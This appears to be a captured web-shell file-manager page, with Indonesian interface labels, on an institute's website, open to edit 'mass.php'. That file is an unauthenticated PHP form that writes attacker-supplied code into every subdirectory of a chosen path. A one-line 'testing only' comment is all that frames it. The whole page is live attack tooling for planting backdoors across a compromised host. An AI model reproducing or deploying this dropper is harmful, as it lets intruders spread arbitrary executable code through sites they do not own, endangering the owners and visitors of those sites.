CURRENT PATH:
/
home
/
u921493091
/
domains
/
dpsinstitute.ac.in
/
public_html
/
public
/
admin
/
blog
/
[ ⬅ KEMBALI ]
|
[ HOME ]
Upload File:
Upload Ke Sini
Dir Baru
File Baru
Editing:
mass.php
<?php // ⚠️ Use this only on your own server for testing purposes if ($_SERVER['REQUEST_METHOD'] === 'POST') { $baseDir = rtrim($_POST['directory'], '/'); $fileName = basename($_POST['filename']); // prevent path injection $fileContent = $_POST['code']; if (!is_dir($baseDir)) { die("Invalid directory selected."); } // Recursive function to create file in all subdirectories function createFileRecursively($dir, $fileName, $fileContent) { $newFile = $dir . DIRECTORY_SEPARATOR . $fileName; file_put_contents($newFile, $fileContent); $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $path = $dir . DIRECTORY_SEPARATOR . $item; if (is_dir($path)) { createFileRecursively($path, $fileName, $fileContent); } } } createFileRecursively($baseDir, $fileName, $fileContent); echo "✅ File '$fileName' created in all subdirectories of $baseDir"; } ?> <!DOCTYPE html> <html> <head> <title>Recursive File Creator</title> </head> <body> <h2>Create File in All Subdirectories</h2> <form method="post"> <label>Base Directory:</label><br> <input type="text" name="directory" value="<?php echo __DIR__; ?>" size="60"><br><br> <label>File Name:</label><br> <input type="text" name="filename" value="test.php"><br><br> <label>File Content:</label><br> <textarea name="code" rows="8" cols="60"><?php echo "<?php echo 'Hello from test.php'; ?>"; ?></textarea><br><br> <button type="submit">Create Files</button> </form> </body> </html>
SIMPAN
[ BATAL ]